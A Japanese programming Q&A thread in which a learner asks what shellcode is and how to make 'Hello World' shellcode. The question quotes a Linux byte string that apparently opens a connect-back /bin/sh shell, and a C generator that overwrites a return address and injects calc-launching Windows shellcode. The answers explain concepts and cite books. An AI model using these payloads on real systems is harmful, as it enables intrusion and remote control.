質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

90.03%

Hello World を出力するシェルコード作成方法について

受付中

回答 4

投稿 編集

  • 評価
  • クリップ 2
  • VIEW 252

kazuyakazuya

score 134

知恵袋のほうでも質問したり、調べたりしたのですが
なかなか理解できないです。
前提知識の問題だと思うのですが、まずそこからわからないのでご教授ください。

知恵袋

やりたいこと・これまでの過程

バッファオーバーフローに関しての質問

こちらの質問にて、
パイプを使うことで、脆弱性のあるプログラム(scanf)
にバッファを溢れさせる文字列を流し込み、リターンアドレスを書き換えることで
sub関数を呼び出すことに成功しました。

で、今回やりたいのがあらかじめ用意しておいた関数を呼び出すのではなく、
シェルコードをバッファオーバーフローを起こして実行させたいです。

最終目標として

"Hello World"を出力するシェルコードを実行させたい。
(Hello Worldではなくてはいけないわけではないが、一番簡単そうだから)


を目指しています。

本題

そこで、"Hello World!"を出力するシェルコードを作成したいです。
調べていくと・・・

gcc


このコマンドを使えばコンパイルができると・・・。
(C言語→機械語)

で、コンパイルしてみました。
イメージ説明

これが”シェルコード”と思っていたのですが・・・
違いますよね?

参考サイト

\x48\x31\xc9\x48\x8d\x79\x02\x48\x8d\x71\x01\x48\x31\xd2\x48\x8d\x41\x29\x0f\x05\x48\x89\xc3\x48\x31\xc9\x48\x89\xdf\x51\x49\xb8\xff\xff\x79\x6a\x7f\xbb\xbb\x01\x49\xff\xc0\x49\xff\xc0\x49\xff\xc0\x41\x50\x66\x89\x4c\x24\x05\x48\x89\xe6\x48\x8d\x51\x10\x48\x8d\x41\x2a\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x48\x89\xdf\x48\x31\xf6\x48\xff\xc6\x48\xff\xc6\x48\x8d\x41\x21\x0f\x05\x48\x31\xc9\x51\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x8d\x41\x3b\x0f\x05\x48\x31\xc9\x48\x31\xff\x48\x8d\x41\x3c\x0f\x05


イメージ説明

このアセンブラのコードを以下のオプションでコンパイルし、出来上がった実行ファイルからシェルコードの部分だけを取り出します。


実行コード exe の中の一部がシェルコードということ?

質問1
シェルコードとはなんでしょうか?
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが
どうやら違うみたいです。
理解できそうにないので教えてください。

質問2
"Hello World!"を出力するCプログラム

#include <stdio.h>
#include <stdlib.h>

int main(void){
  system("tasklist");
  return 0;
}


を gccコマンドを使って(gccではなくてもいいけれど)
シェルコード(バッファオーバーフローで使えるような)
を生成することはできるのでしょうか?

分からないのでお願いします。

追記

電卓を起動させるシェルコード

#include <stdio.h>

int main(void)
{
    for (int i = 0; i < 28; ++i) putchar(0x00);
    putchar(0xBC);
    putchar(0xFA);
    putchar(0x4F);
    putchar(0x00);
    printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");
}


パイプを使って上記のコードをscanf関数を持った脆弱性のあるコードへ流しました。

asub関数のアドレス・・・000B12C6
リターンアドレス・・・000B1CEC
保存されたebp:004FFB0C
f
ローカル変数
ローカル変数 4バイト出力 16進数 0 80
addr:004FFA9C price:fc30066
addr:004FFAA0 price:bc002
addr:004FFAA4 price:4ffaf8
addr:004FFAA8 price:0
addr:004FFAAC price:b1cec
addr:004FFAB0 price:b12c6
addr:004FFAB4 price:4ffb0c
addr:004FFAB8 price:b1cec
addr:004FFABC price:8
addr:004FFAC0 price:b1352
addr:004FFAC4 price:b1352
addr:004FFAC8 price:251000
addr:004FFACC price:2
addr:004FFAD0 price:7542f840
addr:004FFAD4 price:6057d1f8
addr:004FFAD8 price:4ffaf4
addr:004FFADC price:fbfc922
addr:004FFAE0 price:0
addr:004FFAE4 price:b1352
addr:004FFAE8 price:0
addr:004FFAEC price:fc2e62e
addr:004FFAF0 price:fd04e64


入力からリターンアドレスまでは28バイトよって

for (int i = 0; i < 28; ++i) putchar(0x00);


28バイト適当に埋める。

    putchar(0xBC);
    putchar(0xFA);
    putchar(0x4F);
    putchar(0x00);


これでシェルコードが配置されるであろうアドレスに
リターンアドレスを書き換える。

 printf("%s", "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF");


上記でシェルコードを配置・・・
ただ、エンディアンとかを考慮した場合結構あやしいような・・・

結果

イメージ説明
普通、「無視」を選択すれば警告は少なくとも、失せてくれるのですが
今回では「無視」を選択しても
ループ的に警告が再度表示されるようになりました。

電卓が起動してないのだから失敗・・・ですよね?

追記1: すみません。printf関数ではだめみたいですね。
  • 気になる質問をクリップする

    クリップした質問は、後からいつでもマイページで確認できます。

    またクリップした質問に回答があった際、通知やメールを受け取ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

質問への追記・修正、ベストアンサー選択の依頼

  • kazuyakazuya

    2019/10/20 18:24

    exeファイルについて、ちょっくらかじってみます。

    キャンセル

  • dodox86

    2019/10/20 18:58

    尚、参考にされたサイトの情報はlinuxのもののようなのでELF形式、質問者さんが提示された画像のものはWindowsの実行ファイルでPE形式なので、EXEヘッダーは異なります。

    キャンセル

  • kazuyakazuya

    2019/10/20 20:31

    了解です。

    キャンセル

回答 4

+2

質問1
シェルコードとはなんでしょうか?
私の想像ではexeのようなすぐに実行できるような
機械語で書かれたものこそ、私の求めているシェルコード
だと思ったのですが

機械語で書かれた、メモリに読み込んでEIP動かしてCPUに渡せば実行できる断片でありペイロードです。
exeは、主にクリックする事でOSが読み取れる形式の実行ファイルです。
誤解を招く表現ではありますが、
exeにはシェルコードと同様のコードを含んでいるが、先頭等にOSが使う情報が含まれているため
そのままでは、シェルコードとして使うことはできません。

質問2
を gccコマンドを使って(gccではなくてもいいけれど)
シェルコード(バッファオーバーフローで使えるような)
を生成することはできるのでしょうか?

リンカスクリプトを書き換えれば若干の可能性はありますが、基本的に不可能です。
理由としては

  • アプリケーション開発者は使わない機能なため、資料が乏しくめんどくさい
  • Cで生成した命令列そのまま使えるかが微妙で、手で調整する必要がある

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/10/20 18:18

    回答ありがとうございます。

    うーむ、では、ここでは
    "Hello World!"を出力させるシェルコードを作成する方法は
    ないのでしょうか?

    ネット上で調べていくとシェルコードは出てくるは出てきますが
    やっぱり、自分でやってみたいので・・・(できれば)

    キャンセル

  • 2019/10/20 18:35

    「簡単な」方法は現在知られていません。
    攻撃者の中にはgccなどを改造した自作ツールを作っている人もいるかもしれませんが

    キャンセル

  • 2019/10/20 18:47

    わかりました。

    少なくても今の私には
    ハードルが高そうですね...。

    シェルコードはネットから持ってきて使おうと思います。

    キャンセル

+1

他の方も参考にあげておられましたが、あなたがされたいことは「Hacking:美しき策謀: 脆弱性攻撃の理論と実際」https://www.amazon.co.jp/dp/4873115140 でよんだ記憶がありますので、これを参考にしてみてはいかがでしょうか。

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/10/20 21:19

    回答ありがとうございます。

    評価を見たうえで判断しようと思います。

    キャンセル

0

>シェルコードとはなんでしょうか?

「セキュリティコンテストチャレンジブック」https://www.amazon.co.jp/dp/4839956480 の定義がよいでしょう。サポートページ から 付録2.pdf を見ることができます。

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことから、これをシェルコードと呼んでいます。

ほか参考文献:

"Hello World!"を出力するCプログラムをgccコマンドを使ってシェルコードを生成することはできるのでしょうか?

「Hello World を表示するプログラム」は、どう変換したところで「シェルコード」ではないです。定義から言えば、シェルを起動しないプログラムはシェルコードではないです。

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/10/20 21:31

    そうですね、厳密な定義はどこにもないです。そうか、それこそが質問者への回答ですね、ありがとうございます。

    キャンセル

  • 2019/10/20 21:34

    厳密な定義というレベルではなく、紹介した資料のレベルで読み間違えているので低評価しました。

    キャンセル

  • 2019/10/20 21:35

    はい理解しています。読み間違えててくやしいです。

    キャンセル

-5

あなたはどういう意味でシェルコードなる言葉を使ってるんでしょうか。
あなたが出した言葉をあなたがわからないではお話になりません。

記事に書いてある、というなら、まずは他人に聞くんじゃなくその記事の著者に聞くのが筋なんでは

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2019/10/20 15:51

    うーむ、確かにそうですが・・・

    では
    http://www.intellilink.co.jp/article/column/ctf01.html
    こちらの記事ではバッファオーバーフローについて
    大まかに解説してくれています。

    溢れさせるバッファに”シェルコード”なるたるものを
    含めていますが、こので言うところの
    ”シェルコード”とは一体なんでしょうか

    記事の作成者に聞け って言われたら
    元も子もない気がしますが・・・。

    キャンセル

  • 2019/10/20 15:52

    作成者に聞けよ、としかいいようがないですが

    キャンセル

  • 2019/10/20 15:53

    ・・・

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

  • ただいまの回答率 90.03%
  • 質問をまとめることで、思考を整理して素早く解決
  • テンプレート機能で、簡単に質問をまとめられる